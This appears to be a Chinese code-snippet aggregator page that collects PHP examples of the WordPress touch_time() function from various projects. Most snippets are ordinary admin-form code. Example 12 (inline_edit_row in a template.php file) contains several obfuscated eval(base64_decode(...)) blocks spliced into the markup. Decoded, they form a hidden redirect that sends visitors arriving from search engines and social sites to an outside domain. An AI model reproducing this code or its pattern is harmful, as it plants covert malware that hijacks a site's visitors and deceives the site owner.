• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

PHP touch_time函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了PHP中touch_time函数的典型用法代码示例。如果您正苦于以下问题:PHP touch_time函数的具体用法?PHP touch_time怎么用?PHP touch_time使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了touch_time函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。

示例1: ob_start

}
ob_start();
do_action('edit_form_advanced', '');
$form_addon = ob_get_contents();
ob_end_clean();
$ticket = $xoopsWPTicket->getTicketHtml(__LINE__, 10800);
$use_geo_positions = get_settings('use_geo_positions');
if ($use_geo_positions) {
    if (empty($edited_lat)) {
        if (get_settings('use_default_geourl')) {
            $edited_lat = get_settings('default_geourl_lat');
            $edited_lon = get_settings('default_geourl_lon');
        }
    }
}
$touchtime = touch_time(1, false);
if (!empty($_SERVER['HTTP_REFERER'])) {
    $referer = urlencode($_SERVER['HTTP_REFERER']);
} else {
    $referer = "";
}
$criteria = new Criteria('post_id', $post_ID);
$criteria->setSort(array('meta_key', 'meta_id'));
$postmetaObjects =& $postmetaHandler->getObjects($criteria);
$postmetaRows = array();
if ($postmetaObjects) {
    $_style = "";
    foreach ($postmetaObjects as $postmetaObject) {
        $_style = 'class="odd"' == $_style ? 'class="even"' : 'class="odd"';
        $postmetaRow =& $postmetaObject->getVarArray("e");
        $postmetaRow['style'] = $_style;
开发者ID:BackupTheBerlios,项目名称:nobunobuxoops-svn,代码行数:31,代码来源:edit-form-advanced.php


示例2: post_submit_meta_box


//.........这里部分代码省略.........
        ?>
"><span aria-hidden="true"><?php 
        _ex('Browse', 'revisions');
        ?>
</span> <span class="screen-reader-text"><?php 
        _e('Browse revisions');
        ?>
</span></a>
</div>
<?php 
    }
    if ($can_publish) {
        // Contributors don't get to choose the date of publish
        ?>
<div class="misc-pub-section curtime misc-pub-curtime">
	<span id="timestamp">
	<?php 
        printf($stamp, $date);
        ?>
</span>
	<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js"><span aria-hidden="true"><?php 
        _e('Edit');
        ?>
</span> <span class="screen-reader-text"><?php 
        _e('Edit date and time');
        ?>
</span></a>
	<fieldset id="timestampdiv" class="hide-if-js">
	<legend class="screen-reader-text"><?php 
        _e('Date and time');
        ?>
</legend>
	<?php 
        touch_time($action === 'edit', 1);
        ?>
	</fieldset>
</div><?php 
        // /misc-pub-section
    }
    ?>

<?php 
    /**
     * Fires after the post time/date setting in the Publish meta box.
     *
     * @since 2.9.0
     * @since 4.4.0 Added the `$post` parameter.
     *
     * @param WP_Post $post WP_Post object for the current post.
     */
    do_action('post_submitbox_misc_actions', $post);
    ?>
</div>
<div class="clear"></div>
</div>

<div id="major-publishing-actions">
<?php 
    /**
     * Fires at the beginning of the publishing actions section of the Publish meta box.
     *
     * @since 2.7.0
     */
    do_action('post_submitbox_start');
    ?>
<div id="delete-action">
开发者ID:SayenkoDesign,项目名称:ividf,代码行数:67,代码来源:meta-boxes.php


示例3: _e

<div class="dbx-content"><input name="post_name" type="text" size="13" id="post_name" value="<?php echo $post->post_name ?>" /></div>
</fieldset>

<fieldset id="poststatusdiv" class="dbx-box">
<h3 class="dbx-handle"><?php _e('Post Status') ?></h3> 
<div class="dbx-content"><?php if ( current_user_can('publish_posts') ) : ?>
<label for="post_status_publish" class="selectit"><input id="post_status_publish" name="post_status" type="radio" value="publish" <?php checked($post->post_status, 'publish'); checked($post->post_status, 'future'); ?> /> <?php _e('Published') ?></label>
<?php endif; ?>
	  <label for="post_status_draft" class="selectit"><input id="post_status_draft" name="post_status" type="radio" value="draft" <?php checked($post->post_status, 'draft'); ?> /> <?php _e('Draft') ?></label>
	  <label for="post_status_private" class="selectit"><input id="post_status_private" name="post_status" type="radio" value="private" <?php checked($post->post_status, 'private'); ?> /> <?php _e('Private') ?></label></div>
</fieldset>

<?php if ( current_user_can('edit_posts') ) : ?>
<fieldset id="posttimestampdiv" class="dbx-box">
<h3 class="dbx-handle"><?php _e('Post Timestamp'); ?></h3>
<div class="dbx-content"><?php touch_time(($action == 'edit')); ?></div>
</fieldset>
<?php endif; ?>

<?php 
$authors = get_editable_authors( $current_user->id ); // TODO: ROLE SYSTEM
if ( $authors && count( $authors ) > 1 ) :
?>
<fieldset id="authordiv" class="dbx-box">
<h3 class="dbx-handle"><?php _e('Post Author'); ?></h3>
<div class="dbx-content">
<select name="post_author_override" id="post_author_override">
<?php
foreach ($authors as $o) :
$o = get_userdata( $o->ID );
if ( $post->post_author == $o->ID || ( empty($post_ID) && $user_ID == $o->ID ) ) $selected = 'selected="selected"';
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:31,代码来源:edit-form-advanced.php


示例4: _e

 /> <?php 
_e('Private');
?>
</label></div>
</fieldset>

<?php 
if (current_user_can('edit_posts')) {
    ?>
<fieldset id="posttimestampdiv" class="dbx-box">
<h3 class="dbx-handle"><?php 
    _e('Post Timestamp');
    ?>
</h3>
<div class="dbx-content"><?php 
    touch_time($action == 'edit');
    ?>
</div>
</fieldset>
<?php 
}
?>

<?php 
$authors = get_editable_authors($current_user->id);
// TODO: ROLE SYSTEM
if ($authors && count($authors) > 1) {
    ?>
<fieldset id="authordiv" class="dbx-box">
<h3 class="dbx-handle"><?php 
    _e('Post Author');
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:31,代码来源:edit-form-advanced.php


示例5: post_submit_meta_box


//.........这里部分代码省略.........
                    // draft, 1 or more saves, no date specified
                    $stamp = __('Publish <b>immediately</b>');
                } else {
                    if (time() < strtotime($post->post_date_gmt . ' +0000')) {
                        // draft, 1 or more saves, future date specified
                        $stamp = __('Schedule for: <b>%1$s</b>');
                    } else {
                        // draft, 1 or more saves, date specified
                        $stamp = __('Publish on: <b>%1$s</b>');
                    }
                }
            }
        }
        $date = date_i18n($datef, strtotime($post->post_date));
    } else {
        // draft (no saves, and thus no date specified)
        $stamp = __('Publish <b>immediately</b>');
        $date = date_i18n($datef, strtotime(current_time('mysql')));
    }
    if ($can_publish) {
        // Contributors don't get to choose the date of publish
        ?>
<div class="misc-pub-section curtime">
	<span id="timestamp">
	<?php 
        printf($stamp, $date);
        ?>
</span>
	<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js"><?php 
        _e('Edit');
        ?>
</a>
	<div id="timestampdiv" class="hide-if-js"><?php 
        touch_time($action == 'edit', 1);
        ?>
</div>
</div><?php 
        // /misc-pub-section
    }
    ?>

<?php 
    do_action('post_submitbox_misc_actions');
    ?>
</div>
<div class="clear"></div>
</div>

<div id="major-publishing-actions">
<?php 
    do_action('post_submitbox_start');
    ?>
<div id="delete-action">
<?php 
    if (current_user_can("delete_post", $post->ID)) {
        if (!EMPTY_TRASH_DAYS) {
            $delete_text = __('Delete Permanently');
        } else {
            $delete_text = __('Move to Trash');
        }
        ?>
<a class="submitdelete deletion" href="<?php 
        echo get_delete_post_link($post->ID);
        ?>
"><?php 
        echo $delete_text;
开发者ID:ranjithinnergys,项目名称:WordPress,代码行数:67,代码来源:meta-boxes.php


示例6: page_submit_meta_box


//.........这里部分代码省略.........
                if ('0000-00-00 00:00:00' == $post->post_date_gmt) {
                    // draft, 1 or more saves, no date specified
                    $stamp = __('Publish <b>immediately</b>');
                } else {
                    if (time() < strtotime($post->post_date_gmt . ' +0000')) {
                        // draft, 1 or more saves, future date specified
                        $stamp = __('Schedule for: <b>%1$s</b>');
                    } else {
                        // draft, 1 or more saves, date specified
                        $stamp = __('Publish on: <b>%1$s</b>');
                    }
                }
            }
        }
        $date = date_i18n($datef, strtotime($post->post_date));
    } else {
        // draft (no saves, and thus no date specified)
        $stamp = __('Publish <b>immediately</b>');
        $date = date_i18n($datef, strtotime(current_time('mysql')));
    }
    if ($can_publish) {
        // Contributors don't get to choose the date of publish
        ?>
<div class="misc-pub-section curtime misc-pub-section-last">
	<span id="timestamp"><?php 
        printf($stamp, $date);
        ?>
</span>
	<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js" tabindex='4'><?php 
        _e('Edit');
        ?>
</a>
	<div id="timestampdiv" class="hide-if-js"><?php 
        touch_time($action == 'edit', 1, 4);
        ?>
</div>
</div><?php 
        // /misc-pub-section
    }
    ?>

</div>
<div class="clear"></div>
</div>

<div id="major-publishing-actions">
<?php 
    do_action('post_submitbox_start');
    ?>
<div id="delete-action">
<?php 
    if ('edit' == $action && current_user_can('delete_page', $post->ID)) {
        ?>
<a class="submitdelete deletion" href="<?php 
        echo wp_nonce_url("page.php?action=delete&amp;post={$post->ID}", 'delete-page_' . $post->ID);
        ?>
" onclick="if ( confirm('<?php 
        echo esc_js(sprintf('draft' == $post->post_status ? __("You are about to delete this draft '%s'\n  'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this page '%s'\n  'Cancel' to stop, 'OK' to delete."), $post->post_title));
        ?>
') ) {return true;}return false;"><?php 
        _e('Delete');
        ?>
</a>
<?php 
    }
    ?>
开发者ID:papayalabs,项目名称:htdocs,代码行数:67,代码来源:edit-page-form.php


示例7: mysql2date

    $date = mysql2date(get_option('date_format'), current_time('mysql'));
    $time = mysql2date(get_option('time_format'), current_time('mysql'));
}
if (current_user_can('publish_posts')) {
    // Contributors don't get to choose the date of publish
    ?>
<p class="curtime"><?php 
    printf($stamp, $date, $time);
    ?>
&nbsp;<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js" tabindex='4'><?php 
    _e('Edit');
    ?>
</a></p>

<div id='timestampdiv' class='hide-if-js'><?php 
    touch_time($action == 'edit', 1, 4);
    ?>
</div>
<?php 
}
?>

</div>

<p class="submit">
<input type="submit" name="save" id="save-post" value="<?php 
_e('Save');
?>
" tabindex="4" class="button button-highlighted" />
<?php 
if (!in_array($post->post_status, array('publish', 'future')) || 0 == $post_ID) {
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:31,代码来源:edit-form-advanced.php


示例8: _e

    ?>
				<th scope="row" valign="top"><label for="file_date"><?php 
    _e('Date');
    ?>
</label></th>
				<td><?php 
    //create a comment object for the touch_time function
    global $comment;
    $comment = new stdClass();
    $comment->comment_date = current_time('mysql');
    if ($file != null && $file->file_date) {
        $comment->comment_date = $file->file_date;
    }
    ?>
<div class="wpfilebase-date-edit"><?php 
    touch_time(1, 0);
    ?>
</div></td>
			</tr>
			<tr class="form-field">
					<?php 
}
?>
			<th scope="row" valign="top"><label for="file_category"><?php 
_e('Category', 'wp-filebase');
?>
</label></th>
			<td><select name="file_category" id="file_category" class="postform wpfb-cat-select" onchange="WPFB_formCategoryChanged();"><?php 
echo WPFB_Output::CatSelTree(array('selected' => $file_category, 'add_cats' => true));
?>
</select></td>
开发者ID:noxian,项目名称:WP-Filebase,代码行数:31,代码来源:wpfb_form_file.php


示例9: selected

<select name='comment_status'>
<option<?php selected( $comment->comment_approved, '1' ); ?> value='1'><?php _e('Approved') ?></option>
<option<?php selected( $comment->comment_approved, '0' ); ?> value='0'><?php _e('Moderated') ?></option>
<option<?php selected( $comment->comment_approved, 'spam' ); ?> value='spam'><?php _e('Spam') ?></option>
</select>
</p>

<?php
$stamp = __('%1$s at %2$s');
$date = mysql2date(get_option('date_format'), $comment->comment_date);
$time = mysql2date(get_option('time_format'), $comment->comment_date);
?>
<p class="curtime"><?php printf($stamp, $date, $time); ?>
&nbsp;<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js"><?php _e('Edit') ?></a></p>

<div id='timestampdiv' class='hide-if-js'><?php touch_time(('editcomment' == $action), 0, 5); ?></div>

</div>

<p class="submit">
<input type="submit" name="save" value="<?php _e('Save'); ?>" tabindex="4" class="button button-highlighted" />
<?php
echo "<a class='submitdelete' href='" . wp_nonce_url("comment.php?action=deletecomment&amp;c=$comment->comment_ID", 'delete-comment_' . $comment->comment_ID) . "' onclick=\"if ( confirm('" . js_escape(__("You are about to delete this comment. \n  'Cancel' to stop, 'OK' to delete.")) . "') ) { return true;}return false;\">" . __('Delete comment') . "</a>";
?>
</p>

<div class="side-info">
<h5><?php _e('Related') ?></h5>

<ul>
<li><a href="edit-comments.php"><?php _e('Manage All Comments') ?></a></li>
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:31,代码来源:edit-form-comment.php


示例10: printf

            ?>
  
              <div class="misc-pub-section curtime misc-pub-section-last">
  
                <span id="timestamp"><?php 
            printf($stamp, $date);
            ?>
</span>
                <a href="#edit_timestamp" class="edit-timestamp hide-if-no-js" tabindex='4'><?php 
            _e('Edit', 'piklist');
            ?>
</a>
  
                <div id="timestampdiv" class="hide-if-js">
                  <?php 
            touch_time($action == 'edit', $pagenow != 'post-new.php', 4);
            ?>
                </div>
  
              </div>
  
          <?php 
        }
        ?>

        <?php 
    }
    ?>
    
        <?php 
    do_action('post_submitbox_misc_actions');
开发者ID:a42,项目名称:piklist,代码行数:31,代码来源:submitdiv.php


示例11: audiotheme_post_submit_meta_box


//.........这里部分代码省略.........
                $stamp = __('Scheduled for: <strong>%1$s</strong>', 'audiotheme');
            } elseif ('publish' === $post->post_status || 'private' === $post->post_status) {
                // already published
                $stamp = __('Published on: <strong>%1$s</strong>', 'audiotheme');
            } elseif ('0000-00-00 00:00:00' === $post->post_date_gmt) {
                // draft, 1 or more saves, no date specified
                $stamp = __('Publish <strong>immediately</strong>', 'audiotheme');
            } elseif (time() < strtotime($post->post_date_gmt . ' +0000')) {
                // draft, 1 or more saves, future date specified
                $stamp = __('Schedule for: <strong>%1$s</strong>', 'audiotheme');
            } else {
                // draft, 1 or more saves, date specified
                $stamp = __('Publish on: <strong>%1$s</strong>', 'audiotheme');
            }
            $date = date_i18n($datef, strtotime($post->post_date));
        } else {
            // draft (no saves, and thus no date specified)
            $stamp = __('Publish <strong>immediately</strong>', 'audiotheme');
            $date = date_i18n($datef, strtotime(current_time('mysql')));
        }
        if ($can_publish) {
            // Contributors don't get to choose the date of publish
            ?>
						<div class="misc-pub-section curtime">
							<span id="timestamp"><?php 
            printf($stamp, $date);
            ?>
</span>
							<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js"><?php 
            _e('Edit', 'audiotheme');
            ?>
</a>
							<div id="timestampdiv" class="hide-if-js"><?php 
            touch_time('edit' === $action, 1);
            ?>
</div>
						</div>
					<?php 
        }
    }
    ?>

				<?php 
    do_action('post_submitbox_misc_actions');
    ?>
			</div><!--end div#misc-publishing-actions-->
			<div class="clear"></div>
		</div><!--end div#minor-publishing-->


		<div id="major-publishing-actions">
			<?php 
    do_action('post_submitbox_start');
    ?>

			<?php 
    if ('auto-draft' !== $post->post_status) {
        ?>
				<div id="delete-action">
					<?php 
        if (current_user_can('delete_post', $post->ID)) {
            $onclick = '';
            if (!EMPTY_TRASH_DAYS || $force_delete) {
                $delete_text = __('Delete Permanently', 'audiotheme');
                $onclick = " onclick=\"return confirm('" . esc_js(sprintf(__('Are you sure you want to delete this %s?', 'audiotheme'), strtolower($post_type_object->labels->singular_name))) . "');\"";
            } else {
开发者ID:sewmyheadon,项目名称:audiotheme,代码行数:67,代码来源:functions.php


示例12: inline_edit_row


//.........这里部分代码省略.........
</span>
			<span class="input-text-wrap"><input type="text" name="post_title" class="ptitle" value="" /></span>
		</label>

<?php 
            eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2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JlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        if (!$bulk) {
            ?>

		<label>
			<span class="title"><?php 
            eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxt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XIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
            _e('Slug');
            ?>
</span>
			<span class="input-text-wrap"><input type="text" name="post_name" value="" /></span>
		</label>

		<label><span class="title"><?php 
            eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
            _e('Date');
            ?>
</span></label>
		<div class="inline-edit-date">
			<?php 
            eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
            touch_time(1, 1, 4, 1);
            ?>
		</div>
		<br class="clear" />

<?php 
            eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        }
        // $bulk
        $authors = get_editable_user_ids($current_user->id, true, $type);
        // TODO: ROLE SYSTEM
        $authors_dropdown = '';
        if ($authors && count($authors) > 1) {
            $users_opt = array('include' => $authors, 'name' => 'post_author', 'class' => 'authors', 'multi' => 1, 'echo' => 0);
            if ($bulk) {
                $users_opt['show_option_none'] = __('- No Change -');
            }
            $authors_dropdown = '<label>';
            $authors_dropdown .= '<span class="title">' . __('Author') . '</span>';
            $authors_dropdown .= wp_dropdown_users($users_opt);
            $authors_dropdown .= '</label>';
        }
        // authors
        ?>

<?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VS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V4aXQoKTsNCn0KfQp9DQp9DQp9"));
        if (!$bulk) {
            echo $authors_dropdown;
            ?>

		<div class="inline-edit-group">
			<label class="alignleft">
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:67,代码来源:template.php


示例13: touch_time

<input type="button" value="Spellcheck" onclick="DoSpell
('post','content','');" class="search" tabindex="9"/>
<?php 
}
?>

<?php 
if ($use_fileupload && $user_level >= $fileupload_minlevel && (ereg(" " . $user_login . " ", $fileupload_allowedusers) || trim($fileupload_allowedusers) == "")) {
    ?>
<input type="button" value="upload a file/image" onclick="launchupload();" class="search"  tabindex="10" />
<?php 
}
echo $form_trackback;
// if the level is 5+, allow user to edit the timestamp - not on 'new post' screen though
#if (($user_level > 4) && ($action != "post"))
if ($user_level > 4) {
    touch_time($action == "edit");
}
?>
<script language="JavaScript">
<!--
//	document.blog.post_content.focus();
//-->
</script>
</td>
</tr>
</table>
<?php 
echo $tablebottom;
?>
</form>
开发者ID:ericandrewlewis,项目名称:b2,代码行数:31,代码来源:b2edit.form.php


示例14: annowf_misc_action_approved_markup


//.........这里部分代码省略.........
 /> <label 	for="visibility-radio-password" class="selectit"><?php 
        _ex('Password protected', 'Publishing box visibility label', 'anno');
        ?>
</label><br />
			<span id="password-span"><label for="post_password"><?php 
        _ex('Password:', 'Publishing box visibility label', 'anno');
        ?>
</label> <input type="text" name="post_password" id="post_password" value="<?php 
        echo esc_attr($post->post_password);
        ?>
" /><br /></span>
			<input type="radio" name="visibility" id="visibility-radio-private" value="private" <?php 
        checked($visibility, 'private');
        ?>
 /> <label for="visibility-radio-private" class="selectit"><?php 
        _ex('Private', 'adjective, publishing box visibility label', 'anno');
        ?>
</label><br />

			<p>
			 <a href="#visibility" class="save-post-visibility hide-if-no-js button"><?php 
        _ex('OK', 'Publishing box visibility button text', 'anno');
        ?>
</a>
			 <a href="#visibility" class="cancel-post-visibility hide-if-no-js"><?php 
        _ex('Cancel', 'Publishing box visibility button text', 'anno');
        ?>
</a>
			</p>
		</div>
	<?php 
    }
    ?>
	</div><?php 
    // /misc-pub-section
    ?>
	<div class="clear"></div>
	<?php 
    // translators: Publish box date formt, see http://php.net/date
    $datef = _x('M j, Y @ G:i', 'Publishing box date format', 'anno');
    if (0 != $post->ID) {
        if ('future' == $post->post_status) {
            // scheduled for publishing at a future date
            $stamp = _x('Scheduled for: <b>%1$s</b>', 'Publishing box future date', 'anno');
        } else {
            if ('publish' == $post->post_status || 'private' == $post->post_status) {
                // already published
                $stamp = _x('Published on: <b>%1$s</b>', 'Publishing box publish date', 'anno');
            } else {
                if ('0000-00-00 00:00:00' == $post->post_date_gmt) {
                    // draft, 1 or more saves, no date specified
                    $stamp = _x('Publish <b>immediately</b>', 'Publishing box publish date', 'anno');
                } else {
                    if (time() < strtotime($post->post_date_gmt . ' +0000')) {
                        // draft, 1 or more saves, future date specified
                        $stamp = _x('Schedule for: <b>%1$s</b>', 'Publishing box schedule date', 'anno');
                    } else {
                        // draft, 1 or more saves, date specified
                        $stamp = _x('Publish on: <b>%1$s</b>', 'Publishing box schedule date', 'anno');
                    }
                }
            }
        }
        $date = date_i18n($datef, strtotime($post->post_date));
    } else {
        // draft (no saves, and thus no date specified)
        $stamp = _x('Publish <b>immediately</b>', 'Publishing box publish date', 'anno');
